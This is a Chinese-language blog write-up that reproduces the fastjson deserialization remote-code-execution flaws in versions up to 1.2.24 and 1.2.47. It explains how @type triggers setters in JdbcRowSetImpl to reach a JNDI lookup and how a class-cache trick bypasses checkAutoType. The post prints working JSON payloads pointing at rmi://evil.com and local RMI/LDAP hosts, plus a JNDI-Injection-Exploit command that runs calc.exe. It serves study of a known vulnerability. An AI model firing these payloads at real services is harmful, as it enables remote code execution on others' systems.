前言
fastjson 基础
fastjson
是 alibaba
出品的一个java 第三方库
,它能够实现class对象
和json字符串
之间的互相转化.
简单例子:
将对象序列化为json
字符串.
// object to Json string
// Test.java
package demo;
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("Java");
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
// User.java
package demo;
public class User {
private int age;
private String name;
public void sayHello(){
System.out.println("Hello, I am " + name);
}
public int getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
}
将json
字符串反序列化为object对象
:
User.java
不变.
// Test.java
package demo;
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
// json string to object
String userString = "{\"age\":18,\"name\":\"Java\"}";
User user = JSON.parseObject(userString,User.class);
System.out.println("反序列化的结果, age为: " + user.getAge()+ " name 为: " + user.getName());
}
}
反序列化的过程中,会默认调用目标对象的setter
方法,也就是setXXX
方.我们将User.java
进行一个简单修改,再次运行
可以看到setAge
和setName
里面的 println
函数被触发.
Json.parseObject
还有一个接口方法,它可以只接收传入的String
JSONObject
是JSON字符串
与pojo对象
转换过程中的中间表达类型,实现了Map接口,可以看做是一个模拟JSON对象键值对再加上多层嵌套的数据集合,对象的每一个基本类型属性是map里的一个key-value.
我们可以传入简单的json字符串
,例如"{\"age\":18,\"name\":\"Java\"}"
,但这并不会将其解析到一个对象中去,因为没有到对应的对象中,所以也不会触发对象的setter
方法.
很明显,我们得思考如何才能将json字符串
解析到对应的对象中去.
答案是利用@type
属性.
我们为上面简单 json字符串
添加一个字段@type
,添加后整体内容如下:"{\"@type\":\"demo.User\",\"age\":18,\"name\":\"Java\"}"
很明显,我们通过@type
字段,指定了需要将对应的 json对象
解析到 demo.User
这个类中.由于解析到了类中,便触发了 setter
方法.
攻击向量
有了上面的基础我们会发现parseObject()
能够自动调用setter
方法,于是我们就有了目标,去寻找那些存在setter
方法的类并且里面还存在危险函数调用.
于是大佬们找到了可利用的类com.sun.rowset.JdbcRowSetImpl
.我们来看看这个类中2个的setter
方法:
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
进一步跟进connect()
方法:
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到,在connect
方法中,如果 DataSourceName!=nil
,那么就能调用一个jndi
,如果DataSourceName
可控,那么这里就是一个jndi注入
.
于是就有了一个最经典的payload
:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Evil","autoCommit":true}
其中设置 dataSourceName
和autoCommit
字段就能够触发 setDataSourceName
和setAutoCommit
,其中,autoCommit
的内容为bool
类型,为true
或者 false
都是可以的.
正文
fastjson 1.2.24<=
payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Evil","autoCommit":true}
配合JNDI-Injection-Exploit,开启一个rmi服务:
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c calc.exe" -A "192.168.3.144"
由于这边我的java version
为1.8.0_332
,属于Oracle JDK 8u191
之后,所以在利用之前需要设置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")
关于限制,目前还有很多东西没有弄清楚,后面单独写一篇博客来学习和看到大佬们绕过高版本的
JDK
JNDI 注入
限制
其中,dataSourceName
的值为使用上述脚本生成的地址:
运行,可以看到成功执行cmd /c calc.exe
.
fastjson 1.2.47<=
payload
{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://evil.com:9999/Exploit","autoCommit": true}}
分析
在1.2.25
版本后,fastjson
增加了对@type
加载类的检测.
这里我以 fastjson 1.2.47
为例进行分析:
其实将上面一段json
数据带入到以下代码来分析可能会比较容易理解:
String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.3.144:1389/8qmdyu\",\"autoCommit\":true}";
JSON.parse(payload);
JSON.parse(payload_2);
在解析{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
时.
在checkAutoType
处:
由于默认的 autoTypeSupoort
为flase
,所以默认就不会进入到 黑名单的判断逻辑里.
随后,在第832行
将 clazz
赋值为java.lang.class
class 类
.
继续跟踪,会发现再MiscCodec.class
中的第304
行将strVal
也就是 {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
中的 com.sun.rowset.JdbcRowSetImpl
,带入到了 TypeUtils.loadClass
函数
跟进函数,发现将 com.sun.rowset.JdbcRowSetImpl
字符串放入到了 map
中.
之后再解析{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://evil.com:9999/Exploit","autoCommit": true}
时,在checkAutoType
函数中,成功从TypeUtils.getClassFromMapping
获取到了之前在map
中的缓存类,也就是com.sun.rowset.JdbcRowSetImpl
,最后return直接返回class: com.sun.rowset.JdbcRowSetImpl
,从而绕过了 checkAutoType
的检测.
对 Java 的熟悉程度还远不支持我跟进和分析每一个 Java 函数的作用,所以本片文章是在作者尽可能读懂代码下,根据前辈大佬们的文章进行复现的
参考
https://i.kimmking.cn/2017/06/06/json-best-practice/
https://cloud.tencent.com/developer/article/1674171
https://paper.seebug.org/942/#1-rmi-remote-object-payload
fastJson:1.2.47:
https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955